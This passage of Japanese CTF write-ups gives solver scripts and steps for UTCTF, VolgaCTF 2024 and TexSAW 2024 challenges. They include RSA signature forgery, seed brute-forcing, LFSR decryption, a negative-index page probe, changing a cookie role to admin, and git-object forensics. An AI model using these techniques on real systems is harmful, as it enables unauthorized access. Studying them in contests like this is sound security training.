What's your guess?
jjjkj
24
What's your guess?
grimy
Good job! Onward...
What's your guess?
jjjjj
4
What's your guess?
kjjjj
6
What's your guess?
jkjjj
1
What's your guess?
jjkjj
7
What's your guess?
jjjkj
16
What's your guess?
hasty
Good job! Onward...
What's your guess?
jjjjj
9
What's your guess?
kjjjj
17
What's your guess?
jkjjj
8
What's your guess?
jjkjj
8
What's your guess?
jjjkj
10
What's your guess?
essay
Good job! Onward...
Nice! You got it :) Have a flag:
utflag{sometimes_pure_guessing_is_the_strat}
utflag{sometimes_pure_guessing_is_the_strat}

numbers go brrr 2 (Cryptography)

サーバの処理概要は以下の通り。

・seed: 0以上10**6以下のランダム整数
・以下3回繰り返し
 ・seed: 0以上10**6以下のランダム整数
 ・key = encrypt(b"random text to initalize key")[0]
 ・以下繰り返し
  ・user_input: 数値入力
  ・user_inputが1の場合、繰り返し終了
  ・message: 入力
  ・key, ciphertext = encrypt(message.encode())
  ・ciphertextを表示
 ・found = False
 ・以下250回繰り返し
  ・guess: 入力
  ・guessとkeyが一致している場合
   ・found = True
   ・繰り返し終了
  ・guessとkeyが一致していない場合
   ・該当メッセージを表示
 ・foundがFalseの場合終了
・フラグを表示

seedをブルートフォースし、平文と暗号文の組み合わせが合う鍵を探す。

#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def get_random_number():
    global seed 
    seed = int(str(seed * seed).zfill(12)[3:9])
    return seed

def encrypt(message):
    key = b''
    for i in range(8):
        key += (get_random_number() % (2 ** 16)).to_bytes(2, 'big')
    cipher = AES.new(key, AES.MODE_ECB)
    ciphertext = cipher.encrypt(pad(message, AES.block_size))
    return key.hex(), ciphertext.hex()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 2435))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

for i in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    try_pt = '1234'

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print('2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(try_pt)
    s.sendall(try_pt.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    try_ct_hex = data.split(' ')[-1]

    for seed in range(10 ** 6 + 1):
        key_hex, ct_hex = encrypt(try_pt.encode())
        if ct_hex == try_ct_hex:
            break

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print('1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    data = recvuntil(s, b'\n').rstrip()
    print(data)
    print(key_hex)
    s.sendall(key_hex.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Thanks for using our encryption service! To get the start guessing, type 1. To encrypt a message, type 2.
You will need to guess the key (you get 250 guesses for one key). You will do this 3 times!
Find the key 1 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: c262a1a250dc9c1c3b60940c0c8c4bc5
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
38106fde83a77b6a724ac4ac5ce5a11f
You found the key!
Find the key 2 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: 5dd809df595f3f7ad9193d84ad104e54
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
a6d9e9fe301ccf6409e3f7616e3d0f67
You found the key!
Find the key 3 of 3!
What would you like to do (1 - guess the key, 2 - encrypt a message)?
2
What is your message?
1234
Here is your encrypted message: 3fc72ed1725ec4597dfb15459aa3b0ff
What would you like to do (1 - guess the key, 2 - encrypt a message)?
1
You have 250 guesses to find the key!
What is your guess (in hex)?
ad9b5968466e0f5f9b6bbb8bb7cfb0a3
You found the key!
Here is the flag: utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}
utflag{ok_you_are_either_really_lucky_or_you_solved_it_as_intended_yay}

simple signature (Cryptography)

$ nc betta.utctf.live 4374
Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are: 
n = 21256683315158182129815856331774550219736491659822013777716561403821759106942281553515127548337855434048450386309203634846966770626707737976786578578333663561713725571747549027632868189683318875229850994034558102034412982079423514302939077444742503129302726410235332341952073804606455906118875300358250493598578145242327054365472161513043655796279793521090367257196871638408895409825645953298225120130288671527609928671935379050436498665770230821360288608340575254789593194298367560007619012294850204968087401519447108433848214210445628715721764885069947977533038779890839352843397198704785901489138850520012604735409
e = 65537
Enter a message as an integer (enter 0 to stop): 2
Your signature is: 9008713126753812606011450560795999983628754565781192321534488829838369501952103936146474773001285659513690501893121485196095055975697286303499698153613457741924379705227475544080178997110805379992972098139290290226431777397101866595061818137546060738499225208101502055574688482077678941436271342264447208867798805722791535086091682216242244033815057186892893010980193607422167617166235239381106596853232383017014930464444923074422979433762404293220768415327177933596487826362256186740360846899990120510905871952493666779745057815770355935843560053301001534775647803868595046018020772095448598122540322023235388466469
Enter a message as an integer (enter 0 to stop): 0
Now, come up with your own pair!
Enter a message: 2
Enter a signature: 9008713126753812606011450560795999983628754565781192321534488829838369501952103936146474773001285659513690501893121485196095055975697286303499698153613457741924379705227475544080178997110805379992972098139290290226431777397101866595061818137546060738499225208101502055574688482077678941436271342264447208867798805722791535086091682216242244033815057186892893010980193607422167617166235239381106596853232383017014930464444923074422979433762404293220768415327177933596487826362256186740360846899990120510905871952493666779745057815770355935843560053301001534775647803868595046018020772095448598122540322023235388466469
Cannot enter a message that you already requested.

すでに指定したメッセージは指定できない。
以下のように掛け算で対応する。

sign(2) * sign(3) = sign(2 * 3) = sign(6)

つまり、2のsignatureと3のsignatureを掛け算して、nで割った余りは6のsignatureになる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('betta.utctf.live', 4374))

for _ in range(3):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

data = recvuntil(s, b'\n').rstrip()
print(data)
n = int(data.split(' ')[-1])
data = recvuntil(s, b'\n').rstrip()
print(data)
e = int(data.split(' ')[-1])

msg1 = 2
data = recvuntil(s, b': ')
print(data + str(msg1))
s.sendall(str(msg1).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sign1 = int(data.split(' ')[-1])

msg2 = 3
data = recvuntil(s, b': ')
print(data + str(msg2))
s.sendall(str(msg2).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sign2 = int(data.split(' ')[-1])

msg = msg1 * msg2
sign = sign1 * sign2 % n
data = recvuntil(s, b': ')
print(data + '0')
s.sendall(b'0\n')
data = recvuntil(s, b': ')
print(data + str(msg))
s.sendall(str(msg).encode() + b'\n')
data = recvuntil(s, b': ')
print(data + str(sign))
s.sendall(str(sign).encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to the signature generator!
This service generates signatures for nonnegative integer messages.
Today's RSA parameters are:
n = 22745040857603356094950654119013238723747220178610034852956242041562118237276081614630730515116320707642464350162664776909328033671621035970037099984090401985036500786215882362673949544724701351702912751994243681832886951060143576518069616159575153003220437956455716817271687585305182748114221157079466544219358552743750071158665042390352892225780880626672435090222836535227896004995605606638385751930854647803703207804978831496876933751774423816093334998692863816963960154660924426693605540706759797424401196054144615532821154267469412900552576245981069208807704613152854077917101279909066353977957463864413560023021
e = 65537
Enter a message as an integer (enter 0 to stop): 2
Your signature is: 9771728127420216438291835326570484519213948796085940733565111554302250933329663350576417117750608579719613061331441446546314316153007856956324333962551856613848550753055848284993047255748151261189822986688297942376939191547592466495993733461389396328425724049649199526958459886324852435254646078883654540905122012907094091320955847826798682115946480116758659104870829753562606678981451474118954274496785971392186312570363019066197559892733076246596277730910105487653771365696167538182632442947783322211008677008544608073938497673793908781559416785872041634531173325540113460746309660795478581331374905376345742352104
Enter a message as an integer (enter 0 to stop): 3
Your signature is: 15184926436984207327413599111688835154553124148571788663482988884563402565970130089438457037102287842549020950017784430846786223384555754774570708289943532606790760532829767385581104136340138806851828151461412594086502230267691292199154726841639558992521953053027264432147362707536762715897873598893894463881511315877054246526706413757426178807393768173530208334140095076590954658577489109139787717676418546920303709944283550402937938790112338850053872100781180257764868762894031181040639411839173677256161368277480431358717312962075225713465769247303150138469667451618563103163474871034508347120243927294355269289274
Enter a message as an integer (enter 0 to stop): 0
Now, come up with your own pair!
Enter a message: 6
Enter a signature: 16235471999399052729022938376393109605567026071458583804559271990193467410073795381846501865827643540851419074009527643292839224065809948450423857203043598084832480568186578361637368585968559426397302661365563429713694975808010388433552999440641045697632334380163883415746830091922515758005222043603264915039782423068309087020523916089816408778463170651918121856553919915383102039188993936162422992730214593525338147092972428373731285352025588698703399984020753514983821282995427516251661888455604952762268026558670747724249577969128422578136151189780316619099973132967922260109552080743844094221685368487561433642384
Congrats! Here is the flag: utflag{a1m05t_t3xtb00k_3x3rc153}
utflag{a1m05t_t3xtb00k_3x3rc153}

Survey (Misc)

アンケートに答えたら、以下のようなメッセージが表示された。

thank yoU for filling ouT our Feedback form!  pLeAse rate the ctf on ctftime when you Get a chance. rememBer that we will accept Your writEups for forTy-eigHt hours After the competitioN for writeup prizes. hooK em hornS!

大文字を並べる。

UTFLAGBYETHANKS
utflag{byethanks}

VolgaCTF 2024 Qualifier Writeup

この大会は2024/3/31 0:00(JST)~2024/4/1 0:00(JST)に開催されました。
今回もチームで参戦。結果は295点で257チーム中100位でした。
自分で解けた問題をWriteupとして書いておきます。

PQ (crypto)

Nを素因数分解する。

N = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043577475707379430674941097523563439495291391376433292863780301364692520578080638180885760050174506019604723296382744280564071968270446660250234587067991312783613649361373626181634408704506324790573495089018767820926445333763821104985493381745364201010694528200379210559415841578043670235152463040761395093466757
  * 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043583332241787496934511124508164581479242699938954664986778778089174462752116916848703843649899098070668669678312274875686923774909987821333120312320645501581685293243247702323898532381890355435523179413889042894904950054113266062322984191234608909924029167449813744492456171898301189923726970620918920525920821

あとは通常通り、RSA暗号の復号を行う。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('output', 'r') as f:
    params = f.read().splitlines()

N = int(params[0])
c = bytes_to_long(eval(params[1]))
e = 65537

p = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043577475707379430674941097523563439495291391376433292863780301364692520578080638180885760050174506019604723296382744280564071968270446660250234587067991312783613649361373626181634408704506324790573495089018767820926445333763821104985493381745364201010694528200379210559415841578043670235152463040761395093466757
q = 11492900508587989954531440332263108922084741581974222102472118047768380430540353920289746766137088552446667728704705825767564907436992191013818658710263387461050109924538094327413211095570408951831804511312664061115780934181616871945218328272318074413219648490794574757471025686956697500105383560452507555043583332241787496934511124508164581479242699938954664986778778089174462752116916848703843649899098070668669678312274875686923774909987821333120312320645501581685293243247702323898532381890355435523179413889042894904950054113266062322984191234608909924029167449813744492456171898301189923726970620918920525920821
assert N == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()
print(flag)
VolgaCTF{0x8922165e83fa29b582f6a252cb337a05}

QR (crypto)

フラグ入りのQRコードに対する処理の概要は以下の通り。

・generator = LFSR(register, branches)
 ・generator.register = register(未知)
 ・generator.branches = branches(未知)
 ・generator.n: registerの長さ
・image: QRコード画像オブジェクト
・w: QRコード画像の幅
・h: QRコード画像の高さ
・new_image: 新しい画像オブジェクト
・pixels: QRコード画像ピクセルデータ
・各ピクセルについて以下を実行
 ・pixel: 白の場合1、黒の場合0
 ・next_bit = generator.next_bit()
 ・encrypted = pixel ^ next_bit
 ・new_imageにencrypted * 255を設定

画像のサイズから2x2で1つのセルを表していると推測できる。元の画像の左上から右に0000000000000011になっているはず。
16個分のregisterを割り出すと以下のようになる。

[1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1]

registerの長さを総当たりで考え、推測する。

・長さ1の場合、register = [1]、branches = [1]
 ret = 1
 new = 0
 new ^= 1 = 1
 register = [1] -> NG

・長さ2の場合、register = [0, 1]、branches = [1]
 ret = 1
 new = 0
 new ^= 0 = 0
 register = [0, 0]
 ret = 0
 new = 0
 new ^= 0 = 0
  :
 0しか出てこない -> NG
 ※長さ3~6も同様

・長さ7の場合、register = [1, 0, 0, 0, 0, 0, 1]
 -> branches = [1, 3, 4, 5, 7] -> OK

とりあえずこの前提で復号してみる。

#!/usr/bin/env python3
from PIL import Image

class LFSR:
    def __init__(self, register, branches):
        self.register = register
        self.branches = branches
        self.n = len(register)

    def next_bit(self):
        ret = self.register[self.n - 1]
        new = 0
        for i in self.branches:
            new ^= self.register[i - 1]
        self.register = [new] + self.register[:-1]

        return ret

image = Image.open('qr.png')
w = image.width
h = image.height

pixels = image.load()

## research ##
register = []
for i in range(16):
    pixel = pixels[i, 0] // 255
    if i < 14:
        register.append(pixel ^ 0)
    else:
        register.append(pixel ^ 1)
register = register[::-1]
print('[+] register sequence:', register)

## decrypt ##
register = [1, 0, 0, 0, 0, 0, 1]
branches = [1, 3, 4, 5, 7]

generator = LFSR(register, branches)

org_image = Image.new(image.mode, image.size)

for y in range(h):
    for x in range(w):
        pixel = pixels[x, y] // 255
        next_bit = generator.next_bit()
        decrypted = pixel ^ next_bit

        org_image.putpixel((x, y), decrypted * 255)

org_image.save('flag_qr.png', image.format)


復号した結果、QRコードになったので、コードリーダで読み取る。

VolgaCTF{0x05d76db737ac94674907136eb1f15f02}

Feedback (misc)

アンケートに答えたら、フラグが表示された。

VolgaCTF{5b84a0a9f6ba8d171b4a5633a4457a1f}

Texas Security Awareness Week 2024 Writeup

この大会は2024/3/24 0:00(JST)~2024/3/25 7:00(JST)に開催されました。
今回もチームで参戦。結果は1910点で410チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。

Join our Discord (Tutorial 10)

Discordに入り、#challenge-listのTutorialsを見ると、以下のようにフラグが書いてあった。

Tutorials
- Join our Discord (texsaw{welcome_to_texsaw_2024_have_fun})
texsaw{welcome_to_texsaw_2024_have_fun}

PS2 games (Miscellaneous 50)

sqlファイルを元に、2000 年代 (2000 ~ 2009 年を含む) にプレイステーション用にリリースされたゲームの数を答える問題。
初めにmysqlsqlを取り込む。

$ sudo mysql                           
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 33
Server version: 10.11.2-MariaDB-1 Debian n/a

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> source db.sql

        :
        :

Query OK, 1 row affected (0.001 sec)

Query OK, 1 row affected (0.001 sec)

platformが'PlayStation'で、リリース日が'2000-01-01'以降、'2010-01-01'より前のGameの数を出力したい。
Platformsテーブルでplatform_nameが'PlayStation'のIDを確認する。

MariaDB [gamestore]> select platform_id from Platforms where platform_name = 'PlayStation';
+-------------+
| platform_id |
+-------------+
|           2 |
+-------------+
1 row in set (0.000 sec)

GamesテーブルとGamePlatformsテーブルをgame_idで結合し、release_dateが'2000-01-01'以降、'2010-01-01'より前で、platform_idが2の数を出力する。

MariaDB [gamestore]> select count(*) from Games join GamePlatforms on Games.game_id = GamePlatforms.game_id where platform_id = 2 and release_date >= '2000-01-01' and release_date < '2010-01-01';
+----------+
| count(*) |
+----------+
|       42 |
+----------+
1 row in set (0.001 sec)
texsaw{42}

Ultron Encodes (RE/Pwn 50)

$ strings ul7r0n3nc0desStrings             
!!!!!!Hint maybe check for utf16LE???
 NB)
B)|.B)znB)x
B)s.B)qNB)onB)m
B)KnB)INB)G.B)D
        :

32ビットのワイド文字列として抽出する。

$ strings ul7r0n3nc0desStrings --encoding=L
flag{y0u4r34llpupp3tsTan6l3d1nStrings
flag{y0u4r34llpupp3tsTan6l3d1nStrings}

Out of Bounds (Web 50)

指定のURLにアクセスすると、http://3.23.56.243:9004/post/0/にリダイレクトされる。「Show Me The Posts!!」をクリックすると、http://3.23.56.243:9004/post/1/に遷移する。/post/2以降に遷移でき、/post/5以降はコンテンツがない。
http://3.23.56.243:9004/post/-1/にアクセスしてみると、フラグが表示された。

texsaw{aw4y_fr0m_the_b0und4rie5_4cd1efa8}

クッキーのroleに"user"と設定されている。これを"admin"に変更し、リロードすると、フラグが表示された。

texsaw{cR@zy_c00Ki3}

Over 9000 (Web 50)

http://3.23.56.243:9005/9000.jsを見ると、以下のようになっている。

let currentEnergy = 0;

function gatheringEnergy(){
    currentEnergy++;
    $("#energycount").html(`${currentEnergy}`);
    if(currentEnergy == 10)
    {
        alert("out of energy try again :(")
        currentEnergy = 0;
        $("#energycount").html(0);
        
    }
    else if (currentEnergy > 9000)
    {
        
        $.ajax({
            type:"POST",
            url:"kamehameha.php",
            data:{energy: currentEnergy},
            success: function(flag){
                alert(`${flag}`);
            },
            error: function(responseText,status, error){
                console.log(`Tell the infrastructure team to fix this: Status = ${status} ; Error = ${error}`);
            }


        })
        
    }
}

currentEnergyが9000より大きくなった場合のPOSTの処理を実行する。

$ curl http://3.23.56.243:9005/kamehameha.php -d "energy=9001"                                       
texsaw{y0u_th0ught_th1s_w4s_4_fl4g_but_1t_w4s_m3_d10}
texsaw{y0u_th0ught_th1s_w4s_4_fl4g_but_1t_w4s_m3_d10}

Malicious Threat (Forensics 50)

添付されているログを確認すると、以下の怪しいログがある。

192.168.0.8 - - [26/Feb/2024:08:46:37 -0500] "GET /admin/ufile.io/y8ls94tu HTTP 1.1" 401 2048

https://ufile.io/y8ls94tuにアクセスする。Admin.zipがダウンロードできるので、ダウンロードする。
ダウンロードしたzipファイルを解凍し、調べてみる。

$ unzip Admin.zip          
Archive:  Admin.zip
  inflating: Admin/customers.csv     
  inflating: Admin/employee.csv      
  inflating: Admin/organizations.csv  
  inflating: Admin/people.csv        
  inflating: Admin/users.csv
$ cd Admin
$ grep -rl texsaw .
./users.csv
$ cat users.csv | grep texsaw
"2024-02-26 10:35:00 - Admin User 3 texsaw{g0tcha_fl@g_m1ne} - FAILED"
texsaw{g0tcha_fl@g_m1ne}

The Forked Cave (Forensics 50)

$ cd .git
$ cat refs/heads/master 
fcc7c65ddcfa630ebe5c97cae9b014389957dbc7
$ python -c 'import zlib; print zlib.decompress(open("objects/fc/c7c65ddcfa630ebe5c97cae9b014389957dbc7").read())'
commit 245tree cb0c253c9d670bf57f98427112127ac568e55400
parent 9c6d7b5d77ba2f73fca83d026de1fe7904ce6e0b
author Chris Wang <chriswang444@gmail.com> 1539982910 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982910 -0500

Something went very wrong.

$ python -c 'import zlib; print zlib.decompress(open("objects/cb/0c253c9d670bf57f98427112127ac568e55400").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 32 30 00 31 30 30 36 34 34 20  tree 120.100644 
00000010: 6b 6e 69 67 68 74 2e 74 78 74 00 6c 92 65 ef 6d  knight.txt.l.e.m
00000020: 95 58 52 46 77 6b 2d 78 53 56 3d 10 f3 ba ed 31  .XRFwk-xSV=....1
00000030: 30 30 36 34 34 20 70 61 72 74 79 66 6c 61 67 2e  00644 partyflag.
00000040: 74 78 74 00 bd 10 ad af ee 89 ee fe 0e cd 48 e2  txt...........H.
00000050: 96 88 bb cf 71 31 8e 1c 31 30 30 36 34 34 20 70  ....q1..100644 p
00000060: 72 69 65 73 74 65 73 73 2e 74 78 74 00 09 c9 09  riestess.txt....
00000070: ac 51 ad 7b 0f ef 4f 27 4f f2 1b 58 f9 38 73 e0  .Q.{..O'O..X.8s.
00000080: 76 0a                                            v.

$ python -c 'import zlib; print zlib.decompress(open("objects/bd/10adafee89eefe0ecd48e29688bbcf71318e1c").read())'
blob 30texsaw{git_r3set_f_htb_qwltf}

これはフラグとして通らなかったので、引き続きオブジェクトを見てみる。

$ python -c 'import zlib; print zlib.decompress(open("objects/9c/6d7b5d77ba2f73fca83d026de1fe7904ce6e0b").read())'
commit 237tree 20ee707c020242ed3d3eae5b983b130060d8160d
parent 02589c89210a9718a03992eec1a7da85e15c7c7d
author Chris Wang <chriswang444@gmail.com> 1539982872 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982872 -0500

The battle begins!

$ python -c 'import zlib; print zlib.decompress(open("objects/20/ee707c020242ed3d3eae5b983b130060d8160d").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 31 31 00 31 30 30 36 34 34 20  tree 311.100644 
00000010: 62 72 61 77 6c 65 72 2e 74 78 74 00 c7 10 56 79  brawler.txt...Vy
00000020: 84 9c 66 d7 39 e6 a4 f2 b4 36 70 a9 05 9a 0d 3e  ..f.9....6p....>
00000030: 31 30 30 36 34 34 20 63 72 65 65 70 65 72 2e 74  100644 creeper.t
00000040: 78 74 00 27 01 57 b1 21 c6 d4 3e 23 28 49 66 ae  xt.'.W.!..>#(If.
00000050: fa 73 08 2b ab b1 4d 31 30 30 36 34 34 20 64 65  .s.+..M100644 de
00000060: 6d 6f 6e 2e 74 78 74 00 83 a9 4f 99 39 46 d9 cd  mon.txt...O.9F..
00000070: cf e2 7f 64 d7 79 74 a9 5d 43 df 6c 31 30 30 36  ...d.yt.]C.l1006
00000080: 34 34 20 67 6f 62 6c 69 6e 2e 74 78 74 00 a5 d5  44 goblin.txt...
00000090: 7a 2b a6 ec 94 be 96 48 df 24 6e b7 6a e1 23 d8  z+.....H.$n.j.#.
000000a0: 1d af 31 30 30 36 34 34 20 70 72 69 65 73 74 65  ..100644 prieste
000000b0: 73 73 2e 74 78 74 00 d3 e3 6b 7f cf e0 98 09 c6  ss.txt...k......
000000c0: 93 73 5b ab 04 79 de 6b e4 e3 f7 31 30 30 36 34  .s[..y.k...10064
000000d0: 34 20 73 6b 65 6c 65 74 6f 6e 2e 74 78 74 00 02  4 skeleton.txt..
000000e0: 05 7f 08 c9 e3 6f 42 12 89 88 52 df 1d 73 e5 65  .....oB...R..s.e
000000f0: 8b b5 00 31 30 30 36 34 34 20 73 6f 6c 64 69 65  ...100644 soldie
00000100: 72 2e 74 78 74 00 74 9e 0b 54 fc 6b 97 18 0e f0  r.txt.t..T.k....
00000110: 17 81 7a d3 c6 fd 7a 95 0a 0c 31 30 30 36 34 34  ..z...z...100644
00000120: 20 77 69 7a 61 72 64 2e 74 78 74 00 96 57 cf a2   wizard.txt..W..
00000130: 01 7e c5 40 f5 6f ef 6f 8b 16 b1 05 ee 3e eb d3  .~.@.o.o.....>..
00000140: 0a                                               .

どこにフラグがあるかわからないので、オブジェクトを順に見ていく。

$ python -c 'import zlib; print zlib.decompress(open("objects/02/057f08c9e36f4212898852df1d73e5658bb500").read())'
blob 50I'm Sans Undertale. Get ready to have a bad time.

$ python -c 'import zlib; print zlib.decompress(open("objects/02/589c89210a9718a03992eec1a7da85e15c7c7d").read())'
commit 197tree 7717189b1facf2db5f828de25662e25da50f89e7
author Chris Wang <chriswang444@gmail.com> 1539982828 -0500
committer Chris Wang <chriswang444@gmail.com> 1539982828 -0500

The party enters the cave.

$ python -c 'import zlib; print zlib.decompress(open("objects/6c/9265ef6d95585246776b2d7853563d10f3baed").read())'
blob 30We'll kill them one by one...

$ python -c 'import zlib; print zlib.decompress(open("objects/09/c909ac51ad7b0fef4f274ff21b58f93873e076").read())'
blob 37I've seen things I shouldn't have...

$ python -c 'import zlib; print zlib.decompress(open("objects/27/0157b121c6d43e23284966aefa73082babb14d").read())'
blob 9C3H5N3O9

$ python -c 'import zlib; print zlib.decompress(open("objects/74/9e0b54fc6b97180ef017817ad3c6fd7a950a0c").read())'
blob 36My broadsword is too big for CQC...

$ python -c 'import zlib; print zlib.decompress(open("objects/77/17189b1facf2db5f828de25662e25da50f89e7").read())' | xxd -g 1
00000000: 74 72 65 65 20 31 39 38 00 31 30 30 36 34 34 20  tree 198.100644 
00000010: 62 72 61 77 6c 65 72 2e 74 78 74 00 c7 10 56 79  brawler.txt...Vy
00000020: 84 9c 66 d7 39 e6 a4 f2 b4 36 70 a9 05 9a 0d 3e  ..f.9....6p....>
00000030: 31 30 30 36 34 34 20 70 61 72 74 79 66 6c 61 67  100644 partyflag
00000040: 2e 74 78 74 00 f3 9f 6b 24 a5 d1 33 47 11 ea 64  .txt...k$..3G..d
00000050: e2 69 ab 24 07 14 e8 17 f1 31 30 30 36 34 34 20  .i.$.....100644 
00000060: 70 72 69 65 73 74 65 73 73 2e 74 78 74 00 d3 e3  priestess.txt...
00000070: 6b 7f cf e0 98 09 c6 93 73 5b ab 04 79 de 6b e4  k.......s[..y.k.
00000080: e3 f7 31 30 30 36 34 34 20 73 6f 6c 64 69 65 72  ..100644 soldier
00000090: 2e 74 78 74 00 74 9e 0b 54 fc 6b 97 18 0e f0 17  .txt.t..T.k.....
000000a0: 81 7a d3 c6 fd 7a 95 0a 0c 31 30 30 36 34 34 20  .z...z...100644 
000000b0: 77 69 7a 61 72 64 2e 74 78 74 00 96 57 cf a2 01  wizard.txt..W...
000000c0: 7e c5 40 f5 6f ef 6f 8b 16 b1 05 ee 3e eb d3 0a  ~.@.o.o.....>...

$ python -c 'import zlib; print zlib.decompress(open("objects/f3/9f6b24a5d1334711ea64e269ab240714e817f1").read())'
blob 30texsaw{git_g00d_or_git_d3ath}
texsaw{git_g00d_or_git_d3ath}

MFMFT (Forensics 100)

MFTファイルが添付されている。あとは問題文中のパスワードに関する以下のヒントからパスワードを取得し、フラグ形式にして答えればよいらしい。

Oh, this might help: [0, 10, 17, 18, 5, 6, 15, 13, 9, 16, 12, 5, 11, 1, 14, 5, 7, 6, 7, 3, 2, 2, 10, 8, 4, 7]
>MFTECmd.exe -f TheMFT --csv .
MFTECmd version 1.2.2.1

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd

Command line: -f TheMFT --csv .

File type: Mft

Processed TheMFT in 0.0153 seconds

TheMFT: FILE records found: 0 (Free records: 30) File size: 30KB
        CSV output will be saved to .\20240324123516_MFTECmd_$MFT_Output.csv

出力されたログは以下のようになっている。

EntryNumber,SequenceNumber,InUse,ParentEntryNumber,ParentSequenceNumber,ParentPath,FileName,Extension,FileSize,ReferenceCount,ReparseTarget,IsDirectory,HasAds,IsAds,SI<FN,uSecZeros,Copied,SiFlags,NameType,Created0x10,Created0x30,LastModified0x10,LastModified0x30,LastRecordChange0x10,LastRecordChange0x30,LastAccess0x10,LastAccess0x30,UpdateSequenceNumber,LogfileSequenceNumber,SecurityId,ObjectIdFileDroid,LoggedUtilStream,ZoneIdContents
64,3,False,85,2,.Trash-1001\     ,3,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5982428,,2024-03-04 03:53:06.5984984,,2024-03-04 04:02:58.4373758,2024-03-04 03:53:06.5984984,2024-03-04 03:53:08.7541090,,0,0,0,,,
65,3,False,85,2,.Trash-1001\     ,F,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5985849,,2024-03-04 03:53:06.5987176,,2024-03-04 04:02:58.4559919,2024-03-04 03:53:06.5987176,2024-03-04 03:53:08.7553057,,0,0,0,,,
66,3,False,85,2,.Trash-1001\     ,2,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5987856,,2024-03-04 03:53:06.5999261,,2024-03-04 04:02:58.4344358,2024-03-04 03:53:06.5999261,2024-03-04 03:53:08.7554917,,0,0,0,,,
67,3,False,85,2,.Trash-1001\     ,f,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5989500,,2024-03-04 03:53:06.5990127,,2024-03-04 04:02:58.4538910,2024-03-04 03:53:06.5990127,2024-03-04 03:53:08.7556665,,0,0,0,,,
68,3,False,85,2,.Trash-1001\     ,8,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5990638,,2024-03-04 03:53:06.5991274,,2024-03-04 04:02:58.4456464,2024-03-04 03:53:06.5991274,2024-03-04 03:53:08.7558601,,0,0,0,,,
69,3,False,85,2,.Trash-1001\     ,_,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5991804,,2024-03-04 03:53:06.6009016,,2024-03-04 04:02:58.4317408,2024-03-04 03:53:06.6009016,2024-03-04 03:53:08.7560750,,0,0,0,,,
70,3,False,85,2,.Trash-1001\     ,b,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5992970,,2024-03-04 03:53:06.6003470,,2024-03-04 04:02:58.4477256,2024-03-04 03:53:06.6003470,2024-03-04 03:53:08.7562797,,0,0,0,,,
71,3,False,85,2,.Trash-1001\     ,7,,32,1,,False,False,False,False,False,False,Archive,Posix,2024-03-04 03:53:06.5994119,,2024-03-04 03:53:06.6004484,,2024-03-04 04:02:58.4437273,2024-03-04 03:53:06.6004484,2024-03-04 03:53:08.7564516,,0,0,0,,,
